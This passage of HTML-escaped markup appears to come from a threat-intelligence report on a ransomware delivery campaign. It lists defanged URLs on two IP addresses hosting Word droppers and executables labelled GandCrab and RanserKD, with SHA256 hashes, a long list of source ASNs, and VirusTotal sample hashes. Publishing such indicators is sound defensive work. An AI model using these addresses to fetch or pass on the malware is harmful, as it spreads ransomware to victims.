&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;URL&lt;/th&gt;&lt;th&gt;MIME / SHA256&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;hxxp://185[.]189.58.222/d.doc&lt;/td&gt;&lt;td&gt;application/msword&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Dropper:&amp;nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/99eb1d90eb5f0d012f35fcc2a7dedd2229312794354843637ebb7f40b74d0809&quot; target=&quot;_top&quot;&gt;99eb1d90eb5f0d012f35fcc2a7dedd2229312794354843637ebb7f40b74d0809&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;hxxp://112[.]126.94.107/shop/d.doc&lt;/td&gt;&lt;td&gt;application/msword&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Dropper:&amp;nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/6a8778a466c66a4a6df07163459bbe5cb4971109a3a4057330bc7c07014f7462&quot; target=&quot;_top&quot;&gt;6a8778a466c66a4a6df07163459bbe5cb4971109a3a4057330bc7c07014f7462&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;hxxp://185[.]189.58.222/sry.exe&lt;/td&gt;&lt;td&gt;application/octet-stream&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;GandCrab?:&amp;nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/f921949f9bf653b37fb73065834141862dc433ca12db8905f07face35f2d652a&quot; target=&quot;_top&quot;&gt;f921949f9bf653b37fb73065834141862dc433ca12db8905f07face35f2d652a&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;hxxp://185[.]189.58.222/huh.exe&lt;/td&gt;&lt;td&gt;application/octet-stream&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;GandCrab:&amp;nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/298db98676cebbeab5b7d1aee14521363eee533755e99132c7efe3322d99d691&quot; target=&quot;_top&quot;&gt;298db98676cebbeab5b7d1aee14521363eee533755e99132c7efe3322d99d691&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;hxxp://185[.]189.58.222/ps.exe&lt;/td&gt;&lt;td&gt;application/octet-stream&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;RanserKD:&amp;nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/f851dbbdafa4aa24548789d21b30f0e6248393d6813d9f21ac0627fdc1eb4b18&quot; target=&quot;_top&quot;&gt;f851dbbdafa4aa24548789d21b30f0e6248393d6813d9f21ac0627fdc1eb4b18&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;

&lt;h2&gt;Source ASNs&lt;/h2&gt;

&lt;p&gt;&lt;br&gt;We observed ~3,000 unique IP addesses that spanned across the following 427 ASNs:&lt;/p&gt;

&lt;p&gt;768,&amp;nbsp;812,&amp;nbsp;2119,&amp;nbsp;2856,&amp;nbsp;3320,&amp;nbsp;3462,&amp;nbsp;4134,&amp;nbsp;4621,&lt;br&gt;4755,&amp;nbsp;4760,&amp;nbsp;4761,&amp;nbsp;4788,&amp;nbsp;4795,&amp;nbsp;4800,&amp;nbsp;4818,&amp;nbsp;4837,&lt;br&gt;5563,&amp;nbsp;6332,&amp;nbsp;6503,&amp;nbsp;6697,&amp;nbsp;6703,&amp;nbsp;6712,&amp;nbsp;6789,&amp;nbsp;6830,&lt;br&gt;6846,&amp;nbsp;6849,&amp;nbsp;6876,&amp;nbsp;7470,&amp;nbsp;7545,&amp;nbsp;7552,&amp;nbsp;7565,&amp;nbsp;7922,&lt;br&gt;8100,&amp;nbsp;8151,&amp;nbsp;8193,&amp;nbsp;8334,&amp;nbsp;8359,&amp;nbsp;8402,&amp;nbsp;8427,&amp;nbsp;8449,&lt;br&gt;8452,&amp;nbsp;8551,&amp;nbsp;8585,&amp;nbsp;8708,&amp;nbsp;8711,&amp;nbsp;8712,&amp;nbsp;8732,&amp;nbsp;8890,&lt;br&gt;8997,&amp;nbsp;9105,&amp;nbsp;9121,&amp;nbsp;9198,&amp;nbsp;9260,&amp;nbsp;9304,&amp;nbsp;9422,&amp;nbsp;9498,&lt;br&gt;9808,&amp;nbsp;9829,&amp;nbsp;9830,&amp;nbsp;9873,&amp;nbsp;9902,&amp;nbsp;9930,&amp;nbsp;9934,&amp;nbsp;10010,&lt;br&gt;10076,&amp;nbsp;10109,&amp;nbsp;10199,&amp;nbsp;10219,&amp;nbsp;10225,&amp;nbsp;10620,&amp;nbsp;11172,&amp;nbsp;11427,&lt;br&gt;11562,&amp;nbsp;12389,&amp;nbsp;12430,&amp;nbsp;12714,&amp;nbsp;12716,&amp;nbsp;12735,&amp;nbsp;12764,&amp;nbsp;12997,&lt;br&gt;13099,&amp;nbsp;13188,&amp;nbsp;13194,&amp;nbsp;13489,&amp;nbsp;13591,&amp;nbsp;13999,&amp;nbsp;14061,&amp;nbsp;14080,&lt;br&gt;15491,&amp;nbsp;15493,&amp;nbsp;15723,&amp;nbsp;15774,&amp;nbsp;16010,&amp;nbsp;16066,&amp;nbsp;16960,&amp;nbsp;17426,&lt;br&gt;17465,&amp;nbsp;17483,&amp;nbsp;17488,&amp;nbsp;17557,&amp;nbsp;17621,&amp;nbsp;17658,&amp;nbsp;17665,&amp;nbsp;17747,&lt;br&gt;17754,&amp;nbsp;17762,&amp;nbsp;17771,&amp;nbsp;17813,&amp;nbsp;17970,&amp;nbsp;18001,&amp;nbsp;18002,&amp;nbsp;18059,&lt;br&gt;18207,&amp;nbsp;18209,&amp;nbsp;18403,&amp;nbsp;18734,&amp;nbsp;19429,&amp;nbsp;20115,&amp;nbsp;20539,&amp;nbsp;20549,&lt;br&gt;20771,&amp;nbsp;21017,&amp;nbsp;21087,&amp;nbsp;21104,&amp;nbsp;21127,&amp;nbsp;21183,&amp;nbsp;21299,&amp;nbsp;21312,&lt;br&gt;21479,&amp;nbsp;21497,&amp;nbsp;22773,&amp;nbsp;23673,&amp;nbsp;23678,&amp;nbsp;23682,&amp;nbsp;23700,&amp;nbsp;23860,&lt;br&gt;23888,&amp;nbsp;23893,&amp;nbsp;23947,&amp;nbsp;23969,&amp;nbsp;24086,&amp;nbsp;24186,&amp;nbsp;24203,&amp;nbsp;24309,&lt;br&gt;24320,&amp;nbsp;24323,&amp;nbsp;24389,&amp;nbsp;24432,&amp;nbsp;24435,&amp;nbsp;24444,&amp;nbsp;24445,&amp;nbsp;24547,&lt;br&gt;24554,&amp;nbsp;24560,&amp;nbsp;24955,&amp;nbsp;25019,&amp;nbsp;25106,&amp;nbsp;25139,&amp;nbsp;25159,&amp;nbsp;25229,&lt;br&gt;25249,&amp;nbsp;25454,&amp;nbsp;25513,&amp;nbsp;27738,&amp;nbsp;27747,&amp;nbsp;27884,&amp;nbsp;27947,&amp;nbsp;27951,&lt;br&gt;28006,&amp;nbsp;28378,&amp;nbsp;28509,&amp;nbsp;28531,&amp;nbsp;28532,&amp;nbsp;28537,&amp;nbsp;28545,&amp;nbsp;28554,&lt;br&gt;28573,&amp;nbsp;28738,&amp;nbsp;28769,&amp;nbsp;28787,&amp;nbsp;28812,&amp;nbsp;29061,&amp;nbsp;29091,&amp;nbsp;29124,&lt;br&gt;29497,&amp;nbsp;29584,&amp;nbsp;30619,&amp;nbsp;30922,&amp;nbsp;31036,&amp;nbsp;31145,&amp;nbsp;31148,&amp;nbsp;31163,&lt;br&gt;31213,&amp;nbsp;31252,&amp;nbsp;31286,&amp;nbsp;31287,&amp;nbsp;31585,&amp;nbsp;32244,&amp;nbsp;33788,&amp;nbsp;34145,&lt;br&gt;34602,&amp;nbsp;34814,&amp;nbsp;34975,&amp;nbsp;34984,&amp;nbsp;35004,&amp;nbsp;35104,&amp;nbsp;35362,&amp;nbsp;35566,&lt;br&gt;35728,&amp;nbsp;35807,&amp;nbsp;35816,&amp;nbsp;35819,&amp;nbsp;36907,&amp;nbsp;37061,&amp;nbsp;37209,&amp;nbsp;37284,&lt;br&gt;37308,&amp;nbsp;37398,&amp;nbsp;37424,&amp;nbsp;37425,&amp;nbsp;37489,&amp;nbsp;38019,&amp;nbsp;38067,&amp;nbsp;38193,&lt;br&gt;38203,&amp;nbsp;38264,&amp;nbsp;38266,&amp;nbsp;38457,&amp;nbsp;38511,&amp;nbsp;38623,&amp;nbsp;39047,&amp;nbsp;39280,&lt;br&gt;39407,&amp;nbsp;39529,&amp;nbsp;39709,&amp;nbsp;39714,&amp;nbsp;39927,&amp;nbsp;41557,&amp;nbsp;41661,&amp;nbsp;41682,&lt;br&gt;41733,&amp;nbsp;41750,&amp;nbsp;41794,&amp;nbsp;41997,&amp;nbsp;42362,&amp;nbsp;42610,&amp;nbsp;42713,&amp;nbsp;43145,&lt;br&gt;43182,&amp;nbsp;43258,&amp;nbsp;43370,&amp;nbsp;43554,&amp;nbsp;43594,&amp;nbsp;43727,&amp;nbsp;43733,&amp;nbsp;43925,&lt;br&gt;44267,&amp;nbsp;44395,&amp;nbsp;44895,&amp;nbsp;45025,&amp;nbsp;45043,&amp;nbsp;45117,&amp;nbsp;45194,&amp;nbsp;45235,&lt;br&gt;45245,&amp;nbsp;45289,&amp;nbsp;45326,&amp;nbsp;45335,&amp;nbsp;45458,&amp;nbsp;45498,&amp;nbsp;45514,&amp;nbsp;45543,&lt;br&gt;45582,&amp;nbsp;45588,&amp;nbsp;45629,&amp;nbsp;45694,&amp;nbsp;45727,&amp;nbsp;45766,&amp;nbsp;45769,&amp;nbsp;45773,&lt;br&gt;45774,&amp;nbsp;45775,&amp;nbsp;45804,&amp;nbsp;45820,&amp;nbsp;45899,&amp;nbsp;45903,&amp;nbsp;45905,&amp;nbsp;45925,&lt;br&gt;45942,&amp;nbsp;45951,&amp;nbsp;46042,&amp;nbsp;47140,&amp;nbsp;47237,&amp;nbsp;47759,&amp;nbsp;47975,&amp;nbsp;48094,&lt;br&gt;48176,&amp;nbsp;48212,&amp;nbsp;48503,&amp;nbsp;48524,&amp;nbsp;48642,&amp;nbsp;48882,&amp;nbsp;49461,&amp;nbsp;49749,&lt;br&gt;49800,&amp;nbsp;50009,&amp;nbsp;50025,&amp;nbsp;50223,&amp;nbsp;50306,&amp;nbsp;50544,&amp;nbsp;51004,&amp;nbsp;51009,&lt;br&gt;51034,&amp;nbsp;51035,&amp;nbsp;51904,&amp;nbsp;52609,&amp;nbsp;53085,&amp;nbsp;55406,&amp;nbsp;55410,&amp;nbsp;55441,&lt;br&gt;55511,&amp;nbsp;56040,&amp;nbsp;56041,&amp;nbsp;56044,&amp;nbsp;56046,&amp;nbsp;56124,&amp;nbsp;56255,&amp;nbsp;56354,&lt;br&gt;57128,&amp;nbsp;57261,&amp;nbsp;57334,&amp;nbsp;57944,&amp;nbsp;58405,&amp;nbsp;58587,&amp;nbsp;58640,&amp;nbsp;58691,&lt;br&gt;58717,&amp;nbsp;58765,&amp;nbsp;58906,&amp;nbsp;58969,&amp;nbsp;59332,&amp;nbsp;59341,&amp;nbsp;59347,&amp;nbsp;59362,&lt;br&gt;59523,&amp;nbsp;59552,&amp;nbsp;59671,&amp;nbsp;60258,&amp;nbsp;60411,&amp;nbsp;63862,&amp;nbsp;63961,&amp;nbsp;63969,&lt;br&gt;64063,&amp;nbsp;64072,&amp;nbsp;64075,&amp;nbsp;131127,&amp;nbsp;131178,&amp;nbsp;131210,&amp;nbsp;131246,&amp;nbsp;131267,&lt;br&gt;131464,&amp;nbsp;132137,&amp;nbsp;132220,&amp;nbsp;132453,&amp;nbsp;132525,&amp;nbsp;132730,&amp;nbsp;132768,&amp;nbsp;132770,&lt;br&gt;132933,&amp;nbsp;132941,&amp;nbsp;133001,&amp;nbsp;133011,&amp;nbsp;133168,&amp;nbsp;133177,&amp;nbsp;133232,&amp;nbsp;133255,&lt;br&gt;133293,&amp;nbsp;133331,&amp;nbsp;133443,&amp;nbsp;133450,&amp;nbsp;133481,&amp;nbsp;133597,&amp;nbsp;133613,&amp;nbsp;133661,&lt;br&gt;133700,&amp;nbsp;133814,&amp;nbsp;134000,&amp;nbsp;134006,&amp;nbsp;134009,&amp;nbsp;134033,&amp;nbsp;134056,&amp;nbsp;134128,&lt;br&gt;134186,&amp;nbsp;134204,&amp;nbsp;134293,&amp;nbsp;134341,&amp;nbsp;134371,&amp;nbsp;134708,&amp;nbsp;134810,&amp;nbsp;134813,&lt;br&gt;134853,&amp;nbsp;134932,&amp;nbsp;134970,&amp;nbsp;135371,&amp;nbsp;135527,&amp;nbsp;135597,&amp;nbsp;135607,&amp;nbsp;135654,&lt;br&gt;135718,&amp;nbsp;135872,&amp;nbsp;136276,&amp;nbsp;136393,&amp;nbsp;136498,&amp;nbsp;136514,&amp;nbsp;196629,&amp;nbsp;197254,&lt;br&gt;197275,&amp;nbsp;197311,&amp;nbsp;197585,&amp;nbsp;201986,&amp;nbsp;207133,&amp;nbsp;262186,&amp;nbsp;262928,&amp;nbsp;263170,&amp;nbsp;264821,&amp;nbsp;327826&lt;/p&gt;

&lt;h2&gt;Carrier Samples&lt;/h2&gt;

&lt;p&gt;&lt;br&gt;Of the myriad of samples we observed in the wild, the following are available from&nbsp;VirusTotal Intelligence. It is of some minor interest to note that all of the following samples were uploaded1. &nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/01072c19714bdf73017d22275ffed4f40cb99891fc019798b495f6415a9f08b9&quot; target=&quot;_top&quot;&gt;01072c19714bdf73017d22275ffed4f40cb99891fc019798b495f6415a9f08b9&lt;/a&gt;&lt;br&gt;2. &nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/04ef17f7052a01b3091eb1190c8072e283da99c6a61cfee9cde8d1ff4fd4f1a3&quot; target=&quot;_top&quot;&gt;04ef17f7052a01b3091eb1190c8072e283da99c6a61cfee9cde8d1ff4fd4f1a3&lt;/a&gt;&lt;br&gt;3. &nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/0641176e5865e840509ef0ea4aa779aa662ce64917c715b2865d1372b9cf0080&quot; target=&quot;_top&quot;&gt;0641176e5865e840509ef0ea4aa779aa662ce64917c715b2865d1372b9cf0080&lt;/a&gt;&lt;br&gt;4. &nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/0732dff16daadf858388ba85bb311fb0d03aab979d3354fa75a0e91d3ba71668&quot; target=&quot;_top&quot;&gt;0732dff16daadf858388ba85bb311fb0d03aab979d3354fa75a0e91d3ba71668&lt;/a&gt;&lt;br&gt;5. &nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/094e1e556dca8146eefa43e88a16c2c3eebdc867a35ac29c239505a0b6f828ce&quot; target=&quot;_top&quot;&gt;094e1e556dca8146eefa43e88a16c2c3eebdc867a35ac29c239505a0b6f828ce&lt;/a&gt;&lt;br&gt;6. &nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/0b1550624d76cf74a3928466d09cd8359f8deb2980c4d54c4b0dad183e6e8029&quot; target=&quot;_top&quot;&gt;0b1550624d76cf74a3928466d09cd8359f8deb2980c4d54c4b0dad183e6e8029&lt;/a&gt;&lt;br&gt;7. &nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/0b2da90d5102933162a7bdb6794a506d946a5d960325d09c5bdfe0858e476ad8&quot; target=&quot;_top&quot;&gt;0b2da90d5102933162a7bdb6794a506d946a5d960325d09c5bdfe0858e476ad8&lt;/a&gt;&lt;br&gt;8. &nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/0cb41a2c20720fa3051047b80d4aa0dbbb8dd74a0d3d0e4051c2bd969b9b7c77&quot; target=&quot;_top&quot;&gt;0cb41a2c20720fa3051047b80d4aa0dbbb8dd74a0d3d0e4051c2bd969b9b7c77&lt;/a&gt;&lt;br&gt;9. &nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/0f2b93d78c4d145408ee7aa192698da9fbc717022fe68f533dd204293ef384b3&quot; target=&quot;_top&quot;&gt;0f2b93d78c4d145408ee7aa192698da9fbc717022fe68f533dd204293ef384b3&lt;/a&gt;&lt;br&gt;10.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/18b8e3b30e757bc362bcfcbd5dc90916133fe3377b88028e56434052bc72288b&quot; target=&quot;_top&quot;&gt;18b8e3b30e757bc362bcfcbd5dc90916133fe3377b88028e56434052bc72288b&lt;/a&gt;&lt;br&gt;11.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/18ec003eccabb265f9c1a26a4384565620e357f7c079c2e879f7a16080762fb8&quot; target=&quot;_top&quot;&gt;18ec003eccabb265f9c1a26a4384565620e357f7c079c2e879f7a16080762fb8&lt;/a&gt;&lt;br&gt;12.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/1b6bf58f019cbb8c08bd66a6a361991d1e9d619a8340c823b1a1acc90a298e43&quot; target=&quot;_top&quot;&gt;1b6bf58f019cbb8c08bd66a6a361991d1e9d619a8340c823b1a1acc90a298e43&lt;/a&gt;&lt;br&gt;13.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/1edf1c4049f663236424d4ee9b8de923b416f4af75dbf5bf971e0b85de01d94b&quot; target=&quot;_top&quot;&gt;1edf1c4049f663236424d4ee9b8de923b416f4af75dbf5bf971e0b85de01d94b&lt;/a&gt;&lt;br&gt;14.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/1fae994859b8ac5e3ffc64c721ce40f8787d9836f4de3edb52112ab84bd58c1b&quot; target=&quot;_top&quot;&gt;1fae994859b8ac5e3ffc64c721ce40f8787d9836f4de3edb52112ab84bd58c1b&lt;/a&gt;&lt;br&gt;15.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/2c2f282428cb09fb97d9da1fdbe8a83278ef8228bb4438ef38a1cdbf83cb3d13&quot; target=&quot;_top&quot;&gt;2c2f282428cb09fb97d9da1fdbe8a83278ef8228bb4438ef38a1cdbf83cb3d13&lt;/a&gt;&lt;br&gt;16.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/2f0de44c668c67b649c355e8d35106bf60ef002af84b7246ee6ad8ff5a341f56&quot; target=&quot;_top&quot;&gt;2f0de44c668c67b649c355e8d35106bf60ef002af84b7246ee6ad8ff5a341f56&lt;/a&gt;&lt;br&gt;17.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/30a5e1860249f40fdcd176c223ea78824fa2181d3ebc76d2f64f3397a181aed7&quot; target=&quot;_top&quot;&gt;30a5e1860249f40fdcd176c223ea78824fa2181d3ebc76d2f64f3397a181aed7&lt;/a&gt;&lt;br&gt;18.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/311b10a28b8f9a4de7c508b557f3131103ad11f35a39b82898903ba59f12f32f&quot; target=&quot;_top&quot;&gt;311b10a28b8f9a4de7c508b557f3131103ad11f35a39b82898903ba59f12f32f&lt;/a&gt;&lt;br&gt;19.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/3734ae24bb1c0b392b9e2e9606729cf11074b07a234dd93c30e6964dcefb85eb&quot; target=&quot;_top&quot;&gt;3734ae24bb1c0b392b9e2e9606729cf11074b07a234dd93c30e6964dcefb85eb&lt;/a&gt;&lt;br&gt;20.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/37d1a9b24aa796d428baa5cdbc848e7d04b6a28aa04faebce8b3efc15109e2f4&quot; target=&quot;_top&quot;&gt;37d1a9b24aa796d428baa5cdbc848e7d04b6a28aa04faebce8b3efc15109e2f4&lt;/a&gt;&lt;br&gt;21.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/37e3ae5b476298cfa05b8cf9128c8a0216aa9870b10b23835629653e1300aa7a&quot; target=&quot;_top&quot;&gt;37e3ae5b476298cfa05b8cf9128c8a0216aa9870b10b23835629653e1300aa7a&lt;/a&gt;&lt;br&gt;22.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/3912109d9f9ceea82d08c67a1b033f7a509db81f5ee4dfa9bcdf12b2101051c9&quot; target=&quot;_top&quot;&gt;3912109d9f9ceea82d08c67a1b033f7a509db81f5ee4dfa9bcdf12b2101051c9&lt;/a&gt;&lt;br&gt;23.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/391e1243413cbbdd17ddbd499c473b9ed180003a868d75c6fecb92446ff7f5b9&quot; target=&quot;_top&quot;&gt;391e1243413cbbdd17ddbd499c473b9ed180003a868d75c6fecb92446ff7f5b9&lt;/a&gt;&lt;br&gt;24.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/39d95449fca6c188bfc9f2eb599804a86ddde41774fefa0edc894118e978a525&quot; target=&quot;_top&quot;&gt;39d95449fca6c188bfc9f2eb599804a86ddde41774fefa0edc894118e978a525&lt;/a&gt;&lt;br&gt;25.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/3aaa8d3cc6291dff27de7a9d0bd4dc28c59207a6641f86f510ed36fd0df88e7e&quot; target=&quot;_top&quot;&gt;3aaa8d3cc6291dff27de7a9d0bd4dc28c59207a6641f86f510ed36fd0df88e7e&lt;/a&gt;&lt;br&gt;26.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/3cefbe4498aabf3b0160c979a4f382446c1156187bfd6b9cabeeff64b7685fc4&quot; target=&quot;_top&quot;&gt;3cefbe4498aabf3b0160c979a4f382446c1156187bfd6b9cabeeff64b7685fc4&lt;/a&gt;&lt;br&gt;27.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/4350cc33108a98f9491515e8855ecf1f550e70e39be2f351b88356f11fa5760d&quot; target=&quot;_top&quot;&gt;4350cc33108a98f9491515e8855ecf1f550e70e39be2f351b88356f11fa5760d&lt;/a&gt;&lt;br&gt;28.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/45fc9542235efd93f9a898df898ec7fa1bac8d1f56365d7d4bede7d6a33470ef&quot; target=&quot;_top&quot;&gt;45fc9542235efd93f9a898df898ec7fa1bac8d1f56365d7d4bede7d6a33470ef&lt;/a&gt;&lt;br&gt;29.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/4b22ced5138d6f1b4e69c31c3a6558638a652efda90b067e4f267144841f84fc&quot; target=&quot;_top&quot;&gt;4b22ced5138d6f1b4e69c31c3a6558638a652efda90b067e4f267144841f84fc&lt;/a&gt;&lt;br&gt;30.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/4cfab88fa7dd90785bdf0d52753c2a40e2c6fdba93a1635d8b1b7eb4fdb91fb2&quot; target=&quot;_top&quot;&gt;4cfab88fa7dd90785bdf0d52753c2a40e2c6fdba93a1635d8b1b7eb4fdb91fb2&lt;/a&gt;&lt;br&gt;31.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/5365e92f544c83b1bff8eeb440ad620cdb308ffd1d96f732d6a399511493ed7f&quot; target=&quot;_top&quot;&gt;5365e92f544c83b1bff8eeb440ad620cdb308ffd1d96f732d6a399511493ed7f&lt;/a&gt;&lt;br&gt;32.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/56e3d0f0093de7d52feb62e97fa7532056047546375452a0f59e8f682ae235e5&quot; target=&quot;_top&quot;&gt;56e3d0f0093de7d52feb62e97fa7532056047546375452a0f59e8f682ae235e5&lt;/a&gt;&lt;br&gt;33.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/576313b11f51a8e2191689fc146409897e719bb83d967c14ea53306ed3369572&quot; target=&quot;_top&quot;&gt;576313b11f51a8e2191689fc146409897e719bb83d967c14ea53306ed3369572&lt;/a&gt;&lt;br&gt;34.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/596ecf4f1c762d20d353f6382f982bbf57e1b4e062c6f796600fe53028b68efb&quot; target=&quot;_top&quot;&gt;596ecf4f1c762d20d353f6382f982bbf57e1b4e062c6f796600fe53028b68efb&lt;/a&gt;&lt;br&gt;35.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/59d12676e116055028c272e404046b70ca3a885137faf28e2b1a074833d4104d&quot; target=&quot;_top&quot;&gt;59d12676e116055028c272e404046b70ca3a885137faf28e2b1a074833d4104d&lt;/a&gt;&lt;br&gt;36.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/5e222eb6ff5b474d5eb4b450448ec6f47783190312a782a0365e761be97e35cf&quot; target=&quot;_top&quot;&gt;5e222eb6ff5b474d5eb4b450448ec6f47783190312a782a0365e761be97e35cf&lt;/a&gt;&lt;br&gt;37.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/6ae1213bc50d25f5d6335a2c1652440bbc295e3cd1214a16a11fa216b5ebfc6d&quot; target=&quot;_top&quot;&gt;6ae1213bc50d25f5d6335a2c1652440bbc295e3cd1214a16a11fa216b5ebfc6d&lt;/a&gt;&lt;br&gt;38.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/6d8e7e0e38d697f85d82f8f528a10d4c0dda7bc0fa0bb7624809893d61203e7a&quot; target=&quot;_top&quot;&gt;6d8e7e0e38d697f85d82f8f528a10d4c0dda7bc0fa0bb7624809893d61203e7a&lt;/a&gt;&lt;br&gt;39.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/6d9b225458f556556e8a91de96c9d292f1b179e4660569ef21e97e5fdc0e6257&quot; target=&quot;_top&quot;&gt;6d9b225458f556556e8a91de96c9d292f1b179e4660569ef21e97e5fdc0e6257&lt;/a&gt;&lt;br&gt;40.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/6e5ed1fa3afbb74e1a35a80cfddf5d7cb1ddacd02e7f049e61808d0409a04ef4&quot; target=&quot;_top&quot;&gt;6e5ed1fa3afbb74e1a35a80cfddf5d7cb1ddacd02e7f049e61808d0409a04ef4&lt;/a&gt;&lt;br&gt;41.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/74ce529e2d09971ab43cd86ab455d66bc53b5cf64607b754fe4b51f823397427&quot; target=&quot;_top&quot;&gt;74ce529e2d09971ab43cd86ab455d66bc53b5cf64607b754fe4b51f823397427&lt;/a&gt;&lt;br&gt;42.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/7776ac0c61015d2e5cec12054f01301dd6e34eb08c35c29b9e0769d45498d78f&quot; target=&quot;_top&quot;&gt;7776ac0c61015d2e5cec12054f01301dd6e34eb08c35c29b9e0769d45498d78f&lt;/a&gt;&lt;br&gt;43.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/79e7043fa72f70d961b7de31bec3d6768e4a331403b56de451fb9d8c8582ca86&quot; target=&quot;_top&quot;&gt;79e7043fa72f70d961b7de31bec3d6768e4a331403b56de451fb9d8c8582ca86&lt;/a&gt;&lt;br&gt;44.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/79fa9eb242b88ccae36c441b8d25f444b2c7186c446019636595e9c410d88e17&quot; target=&quot;_top&quot;&gt;79fa9eb242b88ccae36c441b8d25f444b2c7186c446019636595e9c410d88e17&lt;/a&gt;&lt;br&gt;45.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/8351070808b7b7541f99b7f75dec59ea7713ccdc9fbd521152c813445e01156c&quot; target=&quot;_top&quot;&gt;8351070808b7b7541f99b7f75dec59ea7713ccdc9fbd521152c813445e01156c&lt;/a&gt;&lt;br&gt;46.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/85f82adef8badabf7a5ed7a5f987ca8f611db9cddaffe6e60cff5a4167d19062&quot; target=&quot;_top&quot;&gt;85f82adef8badabf7a5ed7a5f987ca8f611db9cddaffe6e60cff5a4167d19062&lt;/a&gt;&lt;br&gt;47.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/88867b7ae4fb6d396d5a1e07edee16c495a77f943b4cd08df8fb3dad1b703012&quot; target=&quot;_top&quot;&gt;88867b7ae4fb6d396d5a1e07edee16c495a77f943b4cd08df8fb3dad1b703012&lt;/a&gt;&lt;br&gt;48.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/8c33bf2c9f4f93883f5568c374b53fac4d337a7aaf64eb4d1b776fc73433c051&quot; target=&quot;_top&quot;&gt;8c33bf2c9f4f93883f5568c374b53fac4d337a7aaf64eb4d1b776fc73433c051&lt;/a&gt;&lt;br&gt;49.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/8e0373ad55b692b6e857b4d533e6b67445eb4af3d3542c25440f16737d622187&quot; target=&quot;_top&quot;&gt;8e0373ad55b692b6e857b4d533e6b67445eb4af3d3542c25440f16737d622187&lt;/a&gt;&lt;br&gt;50.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/8e6643d6224e3c3a3a39abed0291b34f526e9e15662f6fbd319b141ea67a8400&quot; target=&quot;_top&quot;&gt;8e6643d6224e3c3a3a39abed0291b34f526e9e15662f6fbd319b141ea67a8400&lt;/a&gt;&lt;br&gt;51.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/8f2d995c2bfddac4992737bb94d97c85035ae8ba20ffb0a7894f123b1ac253c2&quot; target=&quot;_top&quot;&gt;8f2d995c2bfddac4992737bb94d97c85035ae8ba20ffb0a7894f123b1ac253c2&lt;/a&gt;&lt;br&gt;52.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/8f77b27596cb18a4e7c56bc28f18fa4648d328210a36d62c456bb31084426ff4&quot; 